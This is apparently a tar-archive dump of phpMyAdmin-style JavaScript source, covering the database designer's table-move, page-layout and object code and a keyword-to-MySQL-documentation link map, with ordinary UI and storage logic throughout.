var i; for (i = 0; i < selectField.length; i++) { if (selectField[i] === ('`' + tableName + '`.*')) { selectField.splice(i, 1); } } var k; for (k = 0; k < fromArray.length; k++) { if (fromArray[k] === tableName) { fromArray.splice(k, 1); break; } } } DesignerMove.reload(); }; DesignerMove.tableOnOver = function (idThis, val, buil) { var builLocal = parseInt(buil); if (!val) { document.getElementById('id_zag_' + idThis).className = 'tab_zag_2'; if (builLocal) { document.getElementById('id_zag_' + idThis + '_2').className = 'tab_zag_2'; } } else { document.getElementById('id_zag_' + idThis).className = 'tab_zag'; if (builLocal) { document.getElementById('id_zag_' + idThis + '_2').className = 'tab_zag'; } } }; /** * This function stores selected column information in selectField[] * In case column is checked it add else it deletes * * @param {string} tableName * @param {string} colName * @param {string} checkboxId */ DesignerMove.storeColumn = function (tableName, colName, checkboxId) { var i; var k; var selectKeyField = '`' + tableName + '`.`' + colName + '`'; if (document.getElementById(checkboxId).checked === true) { selectField.push(selectKeyField); fromArray.push(tableName); } else { for (i = 0; i < selectField.length; i++) { if (selectField[i] === selectKeyField) { selectField.splice(i, 1); break; } } for (k = 0; k < fromArray.length; k++) { if (fromArray[k] === tableName) { fromArray.splice(k, 1); break; } } } }; /** * This function builds object and adds them to historyArray * first it does a few checks on each object, then makes an object(where,rename,groupby,aggregate,orderby) * then a new history object is made and finally all these history objects are added to historyArray[] * * @param {string} dbName * @param {string} tableName * @param {string} colName * @param {string} dbTableNameUrl */ DesignerMove.addObject = function (dbName, tableName, colName, dbTableNameUrl) { var p; var whereObj; var rel = document.getElementById('rel_opt'); var sum = 0; var init = historyArray.length; if (rel.value !== '--') { if (document.getElementById('Query').value === '') { Functions.ajaxShowMessage(Functions.sprintf(Messages.strQueryEmpty)); return; } p = document.getElementById('Query'); whereObj = new DesignerHistory.Where(rel.value, p.value);// make where object historyArray.push(new DesignerHistory.HistoryObj(colName, whereObj, tableName, hTabs[dbTableNameUrl], 'Where')); sum = sum + 1; } if (document.getElementById('new_name').value !== '') { var renameObj = new DesignerHistory.Rename(document.getElementById('new_name').value);// make Rename object historyArray.push(new DesignerHistory.HistoryObj(colName, renameObj, tableName, hTabs[dbTableNameUrl], 'Rename')); sum = sum + 1; } if (document.getElementById('operator').value !== '---') { var aggregateObj = new DesignerHistory.Aggregate(document.getElementById('operator').value); historyArray.push(new DesignerHistory.HistoryObj(colName, aggregateObj, tableName, hTabs[dbTableNameUrl], 'Aggregate')); sum = sum + 1; // make aggregate operator } if (document.getElementById('groupby').checked === true) { historyArray.push(new DesignerHistory.HistoryObj(colName, 'GroupBy', tableName, hTabs[dbTableNameUrl], 'GroupBy')); sum = sum + 1; // make groupby } if (document.getElementById('h_rel_opt').value !== '--') { if (document.getElementById('having').value === '') { return; } whereObj = new DesignerHistory.Having( document.getElementById('h_rel_opt').value, document.getElementById('having').value, document.getElementById('h_operator').value );// make where object historyArray.push(new DesignerHistory.HistoryObj(colName, whereObj, tableName, hTabs[dbTableNameUrl], 'Having')); sum = sum + 1; // make having } if (document.getElementById('orderby').value !== '---') { var orderByObj = new DesignerHistory.OrderBy(document.getElementById('orderby').value); historyArray.push(new DesignerHistory.HistoryObj(colName, orderByObj, tableName, hTabs[dbTableNameUrl], 'OrderBy')); sum = sum + 1; // make orderby } Functions.ajaxShowMessage(Functions.sprintf(Messages.strObjectsCreated, sum)); // output sum new objects created var existingDiv = document.getElementById('ab'); existingDiv.innerHTML = DesignerHistory.display(init, historyArray.length); DesignerMove.closeOption(); $('#ab').accordion('refresh'); }; DesignerMove.enablePageContentEvents = function () { $('#page_content').off('mousedown'); $('#page_content').off('mouseup'); $('#page_content').off('mousemove'); $('#page_content').on('mousedown', function (e) { DesignerMove.mouseDown(e); }); $('#page_content').on('mouseup', function (e) { DesignerMove.mouseUp(e); }); $('#page_content').on('mousemove', function (e) { DesignerMove.mouseMove(e); }); }; /** * This function enables the events on table items. * It helps to enable them on page loading and when a table is added on the fly. * @param {number} index * @param {object} element */ DesignerMove.enableTableEvents = function (index, element) { $(element).on('click', '.select_all_1', function () { DesignerMove.selectAll($(this).attr('table_name'), $(this).attr('db_name'), $(this).attr('id')); }); $(element).on('click', '.small_tab,.small_tab2', function () { DesignerMove.smallTab($(this).attr('table_name'), 1); }); $(element).on('click', '.small_tab_pref_1', function () { DesignerMove.startTabUpd($(this).attr('db_url'), $(this).attr('table_name_url')); }); $(element).on('click', '.select_all_store_col', function () { DesignerMove.storeColumn($(this).attr('table_name'), $(this).attr('col_name'), $(this).attr('id')); }); $(element).on('click', '.small_tab_pref_click_opt', function () { DesignerMove.clickOption( $(this).attr('db_name'), $(this).attr('table_name'), $(this).attr('col_name'), $(this).attr('db_table_name_url'), $(this).attr('option_col_name_modal') ); }); $(element).on('click', '.tab_field_2,.tab_field_3,.tab_field', function () { var params = ($(this).attr('click_field_param')).split(','); DesignerMove.clickField(params[3], params[0], params[1], params[2]); }); $(element).find('.tab_zag_noquery').on('mouseover', function () { DesignerMove.tableOnOver($(this).attr('table_name'),0, $(this).attr('query_set')); }); $(element).find('.tab_zag_noquery').on('mouseout', function () { DesignerMove.tableOnOver($(this).attr('table_name'),1, $(this).attr('query_set')); }); $(element).find('.tab_zag_query').on('mouseover', function () { DesignerMove.tableOnOver($(this).attr('table_name'),0, 1); }); $(element).find('.tab_zag_query').on('mouseout', function () { DesignerMove.tableOnOver($(this).attr('table_name'),1, 1); }); DesignerMove.enablePageContentEvents(); }; AJAX.registerTeardown('designer/move.js', function () { $('#side_menu').off('mouseenter mouseleave'); $('#key_Show_left_menu').off('click'); $('#toggleFullscreen').off('click'); $('#newPage').off('click'); $('#editPage').off('click'); $('#savePos').off('click'); $('#SaveAs').off('click'); $('#delPages').off('click'); $('#StartTableNew').off('click'); $('#rel_button').off('click'); $('#StartTableNew').off('click'); $('#display_field_button').off('click'); $('#reloadPage').off('click'); $('#angular_direct_button').off('click'); $('#grid_button').off('click'); $('#key_SB_all').off('click'); $('#SmallTabInvert').off('click'); $('#relLineInvert').off('click'); $('#exportPages').off('click'); $('#query_builder').off('click'); $('#key_Left_Right').off('click'); $('#pin_Text').off('click'); $('#canvas').off('click'); $('#key_HS_all').off('click'); $('#key_HS').off('click'); $('.scroll_tab_struct').off('click'); $('.scroll_tab_checkbox').off('click'); $('#id_scroll_tab').find('tr').off('click', '.designer_Tabs2,.designer_Tabs'); $('.designer_tab').off('click', '.select_all_1'); $('.designer_tab').off('click', '.small_tab,.small_tab2'); $('.designer_tab').off('click', '.small_tab_pref_1'); $('.tab_zag_noquery').off('mouseover'); $('.tab_zag_noquery').off('mouseout'); $('.tab_zag_query').off('mouseover'); $('.tab_zag_query').off('mouseout'); $('.designer_tab').off('click','.tab_field_2,.tab_field_3,.tab_field'); $('.designer_tab').off('click', '.select_all_store_col'); $('.designer_tab').off('click', '.small_tab_pref_click_opt'); $('#del_button').off('click'); $('#cancel_button').off('click'); $('#ok_add_object').off('click'); $('#cancel_close_option').off('click'); $('#ok_new_rel_panel').off('click'); $('#cancel_new_rel_panel').off('click'); $('#page_content').off('mouseup'); $('#page_content').off('mousedown'); $('#page_content').off('mousemove'); }); AJAX.registerOnload('designer/move.js', function () { $('#key_Show_left_menu').on('click', function () { DesignerMove.showLeftMenu(this); return false; }); $('#toggleFullscreen').on('click', function () { DesignerMove.toggleFullscreen(); return false; }); $('#addOtherDbTables').on('click', function () { DesignerMove.addOtherDbTables(); return false; }); $('#newPage').on('click', function () { DesignerMove.new(); return false; }); $('#editPage').on('click', function () { DesignerMove.editPages(); return false; }); $('#savePos').on('click', function () { DesignerMove.save3(); return false; }); $('#SaveAs').on('click', function () { DesignerMove.saveAs(); $(document).on('ajaxStop', function () { $('#selected_value').on('click', function () { $('#savePageNewRadio').prop('checked', true); }); }); return false; }); $('#delPages').on('click', function () { DesignerMove.deletePages(); return false; }); $('#StartTableNew').on('click', function () { DesignerMove.startTableNew(); return false; }); $('#rel_button').on('click', function () { DesignerMove.startRelation(); return false; }); $('#display_field_button').on('click', function () { DesignerMove.startDisplayField(); return false; }); $('#reloadPage').on('click', function () { DesignerMove.loadPage(selectedPage); }); $('#angular_direct_button').on('click', function () { DesignerMove.angularDirect(); return false; }); $('#grid_button').on('click', function () { DesignerMove.grid(); return false; }); $('#key_SB_all').on('click', function () { DesignerMove.smallTabAll(this); return false; }); $('#SmallTabInvert').on('click', function () { DesignerMove.smallTabInvert(); return false; }); $('#relLineInvert').on('click', function () { DesignerMove.relationLinesInvert(); return false; }); $('#exportPages').on('click', function () { DesignerMove.exportPages(); return false; }); $('#query_builder').on('click', function () { DesignerHistory.buildQuery('SQL Query on Database', 0); }); $('#key_Left_Right').on('click', function () { DesignerMove.sideMenuRight(this); return false; }); $('#side_menu').on('mouseenter', function () { DesignerMove.showText(); return false; }); $('#side_menu').on('mouseleave', function () { DesignerMove.hideText(); return false; }); $('#pin_Text').on('click', function () { DesignerMove.pinText(this); return false; }); $('#canvas').on('click', function (event) { DesignerMove.canvasClick(this, event); }); $('#key_HS_all').on('click', function () { DesignerMove.hideTabAll(this); return false; }); $('#key_HS').on('click', function () { DesignerMove.noHaveConstr(this); return false; }); $('.designer_tab').each(DesignerMove.enableTableEvents); $('.designer_tab').each(DesignerMove.addTableToTablesList); $('input#del_button').on('click', function () { DesignerMove.updRelation(); }); $('input#cancel_button').on('click', function () { document.getElementById('layer_upd_relation').style.display = 'none'; DesignerMove.reload(); }); $('input#ok_add_object').on('click', function () { DesignerMove.addObject( $('#ok_add_object_db_name').val(), $('#ok_add_object_table_name').val(), $('#ok_add_object_col_name').val(), $('#ok_add_object_db_and_table_name_url').val() ); }); $('input#cancel_close_option').on('click', function () { DesignerMove.closeOption(); }); $('input#ok_new_rel_panel').on('click', function () { DesignerMove.newRelation(); }); $('input#cancel_new_rel_panel').on('click', function () { document.getElementById('layer_new_relation').style.display = 'none'; }); DesignerMove.enablePageContentEvents(); }); designer/objects.js000066600000001316151724624350010351 0ustar00// eslint-disable-next-line no-unused-vars var DesignerObjects = { PdfPage: function (dbName, pageDescr, tblCords) { // no dot set the auto increment before put() in the database // issue #12900 // eslint-disable-next-line no-unused-vars var pgNr; this.dbName = dbName; this.pageDescr = pageDescr; this.tblCords = tblCords; }, TableCoordinate: function (dbName, tableName, pdfPgNr, x, y) { // no dot set the auto increment before put() in the database // issue #12900 // var id; this.dbName = dbName; this.tableName = tableName; this.pdfPgNr = pdfPgNr; this.x = x; this.y = y; } }; designer/page.js000066600000014213151724624350007634 0ustar00/* global DesignerOfflineDB */ // js/designer/database.js // eslint-disable-next-line no-unused-vars /* global db, selectedPage:writable */ // js/designer/init.js /* global DesignerMove */ // js/designer/move.js /* global DesignerObjects */ // js/designer/objects.js var DesignerPage = {}; DesignerPage.showTablesInLandingPage = function (db) { DesignerPage.loadFirstPage(db, function (page) { if (page) { DesignerPage.loadHtmlForPage(page.pgNr); selectedPage = page.pgNr; } else { DesignerPage.showNewPageTables(true); } }); }; DesignerPage.saveToNewPage = function (db, pageName, tablePositions, callback) { DesignerPage.createNewPage(db, pageName, function (page) { if (page) { var tblCords = []; var saveCallback = function (id) { tblCords.push(id); if (tablePositions.length === tblCords.length) { page.tblCords = tblCords; DesignerOfflineDB.addObject('pdf_pages', page); } }; for (var pos = 0; pos < tablePositions.length; pos++) { tablePositions[pos].pdfPgNr = page.pgNr; DesignerPage.saveTablePositions(tablePositions[pos], saveCallback); } if (typeof callback !== 'undefined') { callback(page); } } }); }; DesignerPage.saveToSelectedPage = function (db, pageId, pageName, tablePositions, callback) { DesignerPage.deletePage(pageId); DesignerPage.saveToNewPage(db, pageName, tablePositions, function (page) { if (typeof callback !== 'undefined') { callback(page); } selectedPage = page.pgNr; }); }; DesignerPage.createNewPage = function (db, pageName, callback) { var newPage = new DesignerObjects.PdfPage(db, pageName, []); DesignerOfflineDB.addObject('pdf_pages', newPage, function (pgNr) { newPage.pgNr = pgNr; if (typeof callback !== 'undefined') { callback(newPage); } }); }; DesignerPage.saveTablePositions = function (positions, callback) { DesignerOfflineDB.addObject('table_coords', positions, callback); }; DesignerPage.createPageList = function (db, callback) { DesignerOfflineDB.loadAllObjects('pdf_pages', function (pages) { var html = ''; for (var p = 0; p < pages.length; p++) { var page = pages[p]; if (page.dbName === db) { html += ''; } } if (typeof callback !== 'undefined') { callback(html); } }); }; DesignerPage.deletePage = function (pageId, callback) { DesignerOfflineDB.loadObject('pdf_pages', pageId, function (page) { if (page) { for (var i = 0; i < page.tblCords.length; i++) { DesignerOfflineDB.deleteObject('table_coords', page.tblCords[i]); } DesignerOfflineDB.deleteObject('pdf_pages', pageId, callback); } }); }; DesignerPage.loadFirstPage = function (db, callback) { DesignerOfflineDB.loadAllObjects('pdf_pages', function (pages) { var firstPage = null; for (var i = 0; i < pages.length; i++) { var page = pages[i]; if (page.dbName === db) { // give preference to a page having same name as the db if (page.pageDescr === db) { callback(page); return; } if (firstPage === null) { firstPage = page; } } } callback(firstPage); }); }; DesignerPage.showNewPageTables = function (check) { var allTables = $('#id_scroll_tab').find('td input:checkbox'); allTables.prop('checked', check); for (var tab = 0; tab < allTables.length; tab++) { var input = allTables[tab]; if (input.value) { var element = document.getElementById(input.value); element.style.top = DesignerPage.getRandom(550, 20) + 'px'; element.style.left = DesignerPage.getRandom(700, 20) + 'px'; DesignerMove.visibleTab(input, input.value); } } selectedPage = -1; $('#page_name').text(Messages.strUntitled); DesignerMove.markUnsaved(); }; DesignerPage.loadHtmlForPage = function (pageId) { DesignerPage.showNewPageTables(true); DesignerPage.loadPageObjects(pageId, function (page, tblCords) { $('#name-panel').find('#page_name').text(page.pageDescr); var tableMissing = false; for (var t = 0; t < tblCords.length; t++) { var tbId = db + '.' + tblCords[t].tableName; var table = document.getElementById(tbId); if (table === null) { tableMissing = true; continue; } table.style.top = tblCords[t].y + 'px'; table.style.left = tblCords[t].x + 'px'; var checkbox = document.getElementById('check_vis_' + tbId); checkbox.checked = true; DesignerMove.visibleTab(checkbox, checkbox.value); } DesignerMove.markSaved(); if (tableMissing === true) { DesignerMove.markUnsaved(); Functions.ajaxShowMessage(Messages.strSavedPageTableMissing); } selectedPage = page.pgNr; }); }; DesignerPage.loadPageObjects = function (pageId, callback) { DesignerOfflineDB.loadObject('pdf_pages', pageId, function (page) { var tblCords = []; var count = page.tblCords.length; for (var i = 0; i < count; i++) { DesignerOfflineDB.loadObject('table_coords', page.tblCords[i], function (tblCord) { tblCords.push(tblCord); if (tblCords.length === count) { if (typeof callback !== 'undefined') { callback(page, tblCords); } } }); } }); }; DesignerPage.getRandom = function (max, min) { var val = Math.random() * (max - min) + min; return Math.floor(val); }; doclinks.js000066600000045053151724624350006734 0ustar00/** * Definition of links to MySQL documentation. */ // eslint-disable-next-line no-unused-vars var mysqlDocKeyword = { /* Multi word */ 'CHARACTER SET': ['charset'], 'SHOW AUTHORS': ['show-authors'], 'SHOW BINARY LOGS': ['show-binary-logs'], 'SHOW BINLOG EVENTS': ['show-binlog-events'], 'SHOW CHARACTER SET': ['show-character-set'], 'SHOW COLLATION': ['show-collation'], 'SHOW COLUMNS': ['show-columns'], 'SHOW CONTRIBUTORS': ['show-contributors'], 'SHOW CREATE DATABASE': ['show-create-database'], 'SHOW CREATE EVENT': ['show-create-event'], 'SHOW CREATE FUNCTION': ['show-create-function'], 'SHOW CREATE PROCEDURE': ['show-create-procedure'], 'SHOW CREATE TABLE': ['show-create-table'], 'SHOW CREATE TRIGGER': ['show-create-trigger'], 'SHOW CREATE VIEW': ['show-create-view'], 'SHOW DATABASES': ['show-databases'], 'SHOW ENGINE': ['show-engine'], 'SHOW ENGINES': ['show-engines'], 'SHOW ERRORS': ['show-errors'], 'SHOW EVENTS': ['show-events'], 'SHOW FUNCTION CODE': ['show-function-code'], 'SHOW FUNCTION STATUS': ['show-function-status'], 'SHOW GRANTS': ['show-grants'], 'SHOW INDEX': ['show-index'], 'SHOW MASTER STATUS': ['show-master-status'], 'SHOW OPEN TABLES': ['show-open-tables'], 'SHOW PLUGINS': ['show-plugins'], 'SHOW PRIVILEGES': ['show-privileges'], 'SHOW PROCEDURE CODE': ['show-procedure-code'], 'SHOW PROCEDURE STATUS': ['show-procedure-status'], 'SHOW PROCESSLIST': ['show-processlist'], 'SHOW PROFILE': ['show-profile'], 'SHOW PROFILES': ['show-profiles'], 'SHOW RELAYLOG EVENTS': ['show-relaylog-events'], 'SHOW SLAVE HOSTS': ['show-slave-hosts'], 'SHOW SLAVE STATUS': ['show-slave-status'], 'SHOW STATUS': ['show-status'], 'SHOW TABLE STATUS': ['show-table-status'], 'SHOW TABLES': ['show-tables'], 'SHOW TRIGGERS': ['show-triggers'], 'SHOW VARIABLES': ['show-variables'], 'SHOW WARNINGS': ['show-warnings'], 'LOAD DATA INFILE': ['load-data'], 'LOAD XML': ['load-xml'], 'LOCK TABLES': ['lock-tables'], 'UNLOCK TABLES': ['lock-tables'], 'ALTER DATABASE': ['alter-database'], 'ALTER EVENT': ['alter-event'], 'ALTER LOGFILE GROUP': ['alter-logfile-group'], 'ALTER FUNCTION': ['alter-function'], 'ALTER PROCEDURE': ['alter-procedure'], 'ALTER SERVER': ['alter-server'], 'ALTER TABLE': ['alter-table'], 'ALTER TABLESPACE': ['alter-tablespace'], 'ALTER VIEW': ['alter-view'], 'CREATE DATABASE': ['create-database'], 'CREATE EVENT': ['create-event'], 'CREATE FUNCTION': ['create-function'], 'CREATE INDEX': ['create-index'], 'CREATE LOGFILE GROUP': ['create-logfile-group'], 'CREATE PROCEDURE': ['create-procedure'], 'CREATE SERVER': ['create-server'], 'CREATE TABLE': ['create-table'], 'CREATE TABLESPACE': ['create-tablespace'], 'CREATE TRIGGER': ['create-trigger'], 'CREATE VIEW': ['create-view'], 'DROP DATABASE': ['drop-database'], 'DROP EVENT': ['drop-event'], 'DROP FUNCTION': ['drop-function'], 'DROP INDEX': ['drop-index'], 'DROP LOGFILE GROUP': ['drop-logfile-group'], 'DROP PROCEDURE': ['drop-procedure'], 'DROP SERVER': ['drop-server'], 'DROP TABLE': ['drop-table'], 'DROP TABLESPACE': ['drop-tablespace'], 'DROP TRIGGER': ['drop-trigger'], 'DROP VIEW': ['drop-view'], 'RENAME TABLE': ['rename-table'], 'TRUNCATE TABLE': ['truncate-table'], /* Statements */ 'SELECT': ['select'], 'SET': ['set'], 'EXPLAIN': ['explain'], 'DESCRIBE': ['describe'], 'DELETE': ['delete'], 'SHOW': ['show'], 'UPDATE': ['update'], 'INSERT': ['insert'], 'REPLACE': ['replace'], 'CALL': ['call'], 'DO': ['do'], 'HANDLER': ['handler'], 'COLLATE': ['charset-collations'], /* Functions */ 'ABS': ['mathematical-functions', 'function_abs'], 'ACOS': ['mathematical-functions', 'function_acos'], 'ADDDATE': ['date-and-time-functions', 'function_adddate'], 'ADDTIME': ['date-and-time-functions', 'function_addtime'], 'AES_DECRYPT': ['encryption-functions', 'function_aes_decrypt'], 'AES_ENCRYPT': ['encryption-functions', 'function_aes_encrypt'], 'AND': ['logical-operators', 'operator_and'], 'ASCII': ['string-functions', 'function_ascii'], 'ASIN': ['mathematical-functions', 'function_asin'], 'ATAN2': ['mathematical-functions', 'function_atan2'], 'ATAN': ['mathematical-functions', 'function_atan'], 'AVG': ['aggregate-functions', 'function_avg'], 'BENCHMARK': ['information-functions', 'function_benchmark'], 'BIN': ['string-functions', 'function_bin'], 'BINARY': ['cast-functions', 'operator_binary'], 'BIT_AND': ['aggregate-functions', 'function_bit_and'], 'BIT_COUNT': ['bit-functions', 'function_bit_count'], 'BIT_LENGTH': ['string-functions', 'function_bit_length'], 'BIT_OR': ['aggregate-functions', 'function_bit_or'], 'BIT_XOR': ['aggregate-functions', 'function_bit_xor'], 'CASE': ['control-flow-functions', 'operator_case'], 'CAST': ['cast-functions', 'function_cast'], 'CEIL': ['mathematical-functions', 'function_ceil'], 'CEILING': ['mathematical-functions', 'function_ceiling'], 'CHAR_LENGTH': ['string-functions', 'function_char_length'], 'CHAR': ['string-functions', 'function_char'], 'CHARACTER_LENGTH': ['string-functions', 'function_character_length'], 'CHARSET': ['information-functions', 'function_charset'], 'COALESCE': ['comparison-operators', 'function_coalesce'], 'COERCIBILITY': ['information-functions', 'function_coercibility'], 'COLLATION': ['information-functions', 'function_collation'], 'COMPRESS': ['encryption-functions', 'function_compress'], 'CONCAT_WS': ['string-functions', 'function_concat_ws'], 'CONCAT': ['string-functions', 'function_concat'], 'CONNECTION_ID': ['information-functions', 'function_connection_id'], 'CONV': ['mathematical-functions', 'function_conv'], 'CONVERT_TZ': ['date-and-time-functions', 'function_convert_tz'], 'Convert': ['cast-functions', 'function_convert'], 'COS': ['mathematical-functions', 'function_cos'], 'COT': ['mathematical-functions', 'function_cot'], 'COUNT': ['aggregate-functions', 'function_count'], 'CRC32': ['mathematical-functions', 'function_crc32'], 'CURDATE': ['date-and-time-functions', 'function_curdate'], 'CURRENT_DATE': ['date-and-time-functions', 'function_current_date'], 'CURRENT_TIME': ['date-and-time-functions', 'function_current_time'], 'CURRENT_TIMESTAMP': ['date-and-time-functions', 'function_current_timestamp'], 'CURRENT_USER': ['information-functions', 'function_current_user'], 'CURTIME': ['date-and-time-functions', 'function_curtime'], 'DATABASE': ['information-functions', 'function_database'], 'DATE_ADD': ['date-and-time-functions', 'function_date_add'], 'DATE_FORMAT': ['date-and-time-functions', 'function_date_format'], 'DATE_SUB': ['date-and-time-functions', 'function_date_sub'], 'DATE': ['date-and-time-functions', 'function_date'], 'DATEDIFF': ['date-and-time-functions', 'function_datediff'], 'DAY': ['date-and-time-functions', 'function_day'], 'DAYNAME': ['date-and-time-functions', 'function_dayname'], 'DAYOFMONTH': ['date-and-time-functions', 'function_dayofmonth'], 'DAYOFWEEK': ['date-and-time-functions', 'function_dayofweek'], 'DAYOFYEAR': ['date-and-time-functions', 'function_dayofyear'], 'DECLARE': ['declare', 'declare'], 'DECODE': ['encryption-functions', 'function_decode'], 'DEFAULT': ['miscellaneous-functions', 'function_default'], 'DEGREES': ['mathematical-functions', 'function_degrees'], 'DES_DECRYPT': ['encryption-functions', 'function_des_decrypt'], 'DES_ENCRYPT': ['encryption-functions', 'function_des_encrypt'], 'DIV': ['arithmetic-functions', 'operator_div'], 'ELT': ['string-functions', 'function_elt'], 'ENCODE': ['encryption-functions', 'function_encode'], 'ENCRYPT': ['encryption-functions', 'function_encrypt'], 'EXP': ['mathematical-functions', 'function_exp'], 'EXPORT_SET': ['string-functions', 'function_export_set'], 'EXTRACT': ['date-and-time-functions', 'function_extract'], 'ExtractValue': ['xml-functions', 'function_extractvalue'], 'FIELD': ['string-functions', 'function_field'], 'FIND_IN_SET': ['string-functions', 'function_find_in_set'], 'FLOOR': ['mathematical-functions', 'function_floor'], 'FORMAT': ['string-functions', 'function_format'], 'FOUND_ROWS': ['information-functions', 'function_found_rows'], 'FROM_DAYS': ['date-and-time-functions', 'function_from_days'], 'FROM_UNIXTIME': ['date-and-time-functions', 'function_from_unixtime'], 'GET_FORMAT': ['date-and-time-functions', 'function_get_format'], 'GET_LOCK': ['miscellaneous-functions', 'function_get_lock'], 'GREATEST': ['comparison-operators', 'function_greatest'], 'GROUP_CONCAT': ['aggregate-functions', 'function_group_concat'], 'HEX': ['string-functions', 'function_hex'], 'HOUR': ['date-and-time-functions', 'function_hour'], 'IF': ['control-flow-functions', 'function_if'], 'IFNULL': ['control-flow-functions', 'function_ifnull'], 'IN': ['comparison-operators', 'function_in'], 'INET_ATON': ['miscellaneous-functions', 'function_inet_aton'], 'INET_NTOA': ['miscellaneous-functions', 'function_inet_ntoa'], 'INSTR': ['string-functions', 'function_instr'], 'INTERVAL': ['comparison-operators', 'function_interval'], 'IS_FREE_LOCK': ['miscellaneous-functions', 'function_is_free_lock'], 'IS_USED_LOCK': ['miscellaneous-functions', 'function_is_used_lock'], 'IS': ['comparison-operators', 'operator_is'], 'ISNULL': ['comparison-operators', 'function_isnull'], 'LAST_DAY': ['date-and-time-functions', 'function_last_day'], 'LAST_INSERT_ID': ['information-functions', 'function_last_insert_id'], 'LCASE': ['string-functions', 'function_lcase'], 'LEAST': ['comparison-operators', 'function_least'], 'LEFT': ['string-functions', 'function_left'], 'LENGTH': ['string-functions', 'function_length'], 'LIKE': ['string-comparison-functions', 'operator_like'], 'LN': ['mathematical-functions', 'function_ln'], 'LOAD_FILE': ['string-functions', 'function_load_file'], 'LOCALTIME': ['date-and-time-functions', 'function_localtime'], 'LOCALTIMESTAMP': ['date-and-time-functions', 'function_localtimestamp'], 'LOCATE': ['string-functions', 'function_locate'], 'LOG10': ['mathematical-functions', 'function_log10'], 'LOG2': ['mathematical-functions', 'function_log2'], 'LOG': ['mathematical-functions', 'function_log'], 'LOWER': ['string-functions', 'function_lower'], 'LPAD': ['string-functions', 'function_lpad'], 'LTRIM': ['string-functions', 'function_ltrim'], 'MAKE_SET': ['string-functions', 'function_make_set'], 'MAKEDATE': ['date-and-time-functions', 'function_makedate'], 'MAKETIME': ['date-and-time-functions', 'function_maketime'], 'MASTER_POS_WAIT': ['miscellaneous-functions', 'function_master_pos_wait'], 'MATCH': ['fulltext-search', 'function_match'], 'MAX': ['aggregate-functions', 'function_max'], 'MD5': ['encryption-functions', 'function_md5'], 'MICROSECOND': ['date-and-time-functions', 'function_microsecond'], 'MID': ['string-functions', 'function_mid'], 'MIN': ['aggregate-functions', 'function_min'], 'MINUTE': ['date-and-time-functions', 'function_minute'], 'MOD': ['mathematical-functions', 'function_mod'], 'MONTH': ['date-and-time-functions', 'function_month'], 'MONTHNAME': ['date-and-time-functions', 'function_monthname'], 'NAME_CONST': ['miscellaneous-functions', 'function_name_const'], 'NOT': ['logical-operators', 'operator_not'], 'NOW': ['date-and-time-functions', 'function_now'], 'NULLIF': ['control-flow-functions', 'function_nullif'], 'OCT': ['mathematical-functions', 'function_oct'], 'OCTET_LENGTH': ['string-functions', 'function_octet_length'], 'OLD_PASSWORD': ['encryption-functions', 'function_old_password'], 'OR': ['logical-operators', 'operator_or'], 'ORD': ['string-functions', 'function_ord'], 'PASSWORD': ['encryption-functions', 'function_password'], 'PERIOD_ADD': ['date-and-time-functions', 'function_period_add'], 'PERIOD_DIFF': ['date-and-time-functions', 'function_period_diff'], 'PI': ['mathematical-functions', 'function_pi'], 'POSITION': ['string-functions', 'function_position'], 'POW': ['mathematical-functions', 'function_pow'], 'POWER': ['mathematical-functions', 'function_power'], 'QUARTER': ['date-and-time-functions', 'function_quarter'], 'QUOTE': ['string-functions', 'function_quote'], 'RADIANS': ['mathematical-functions', 'function_radians'], 'RAND': ['mathematical-functions', 'function_rand'], 'REGEXP': ['regexp', 'operator_regexp'], 'RELEASE_LOCK': ['miscellaneous-functions', 'function_release_lock'], 'REPEAT': ['string-functions', 'function_repeat'], 'REVERSE': ['string-functions', 'function_reverse'], 'RIGHT': ['string-functions', 'function_right'], 'RLIKE': ['regexp', 'operator_rlike'], 'ROUND': ['mathematical-functions', 'function_round'], 'ROW_COUNT': ['information-functions', 'function_row_count'], 'RPAD': ['string-functions', 'function_rpad'], 'RTRIM': ['string-functions', 'function_rtrim'], 'SCHEMA': ['information-functions', 'function_schema'], 'SEC_TO_TIME': ['date-and-time-functions', 'function_sec_to_time'], 'SECOND': ['date-and-time-functions', 'function_second'], 'SESSION_USER': ['information-functions', 'function_session_user'], 'SHA': ['encryption-functions', 'function_sha1'], 'SHA1': ['encryption-functions', 'function_sha1'], 'SIGN': ['mathematical-functions', 'function_sign'], 'SIN': ['mathematical-functions', 'function_sin'], 'SLEEP': ['miscellaneous-functions', 'function_sleep'], 'SOUNDEX': ['string-functions', 'function_soundex'], 'SPACE': ['string-functions', 'function_space'], 'SQRT': ['mathematical-functions', 'function_sqrt'], 'STD': ['aggregate-functions', 'function_std'], 'STDDEV_POP': ['aggregate-functions', 'function_stddev_pop'], 'STDDEV_SAMP': ['aggregate-functions', 'function_stddev_samp'], 'STDDEV': ['aggregate-functions', 'function_stddev'], 'STR_TO_DATE': ['date-and-time-functions', 'function_str_to_date'], 'STRCMP': ['string-comparison-functions', 'function_strcmp'], 'SUBDATE': ['date-and-time-functions', 'function_subdate'], 'SUBSTR': ['string-functions', 'function_substr'], 'SUBSTRING_INDEX': ['string-functions', 'function_substring_index'], 'SUBSTRING': ['string-functions', 'function_substring'], 'SUBTIME': ['date-and-time-functions', 'function_subtime'], 'SUM': ['aggregate-functions', 'function_sum'], 'SYSDATE': ['date-and-time-functions', 'function_sysdate'], 'SYSTEM_USER': ['information-functions', 'function_system_user'], 'TAN': ['mathematical-functions', 'function_tan'], 'TIME_FORMAT': ['date-and-time-functions', 'function_time_format'], 'TIME_TO_SEC': ['date-and-time-functions', 'function_time_to_sec'], 'TIME': ['date-and-time-functions', 'function_time'], 'TIMEDIFF': ['date-and-time-functions', 'function_timediff'], 'TIMESTAMP': ['date-and-time-functions', 'function_timestamp'], 'TIMESTAMPADD': ['date-and-time-functions', 'function_timestampadd'], 'TIMESTAMPDIFF': ['date-and-time-functions', 'function_timestampdiff'], 'TO_DAYS': ['date-and-time-functions', 'function_to_days'], 'TRIM': ['string-functions', 'function_trim'], 'TRUNCATE': ['mathematical-functions', 'function_truncate'], 'UCASE': ['string-functions', 'function_ucase'], 'UNCOMPRESS': ['encryption-functions', 'function_uncompress'], 'UNCOMPRESSED_LENGTH': ['encryption-functions', 'function_uncompressed_length'], 'UNHEX': ['string-functions', 'function_unhex'], 'UNIX_TIMESTAMP': ['date-and-time-functions', 'function_unix_timestamp'], 'UpdateXML': ['xml-functions', 'function_updatexml'], 'UPPER': ['string-functions', 'function_upper'], 'USER': ['information-functions', 'function_user'], 'UTC_DATE': ['date-and-time-functions', 'function_utc_date'], 'UTC_TIME': ['date-and-time-functions', 'function_utc_time'], 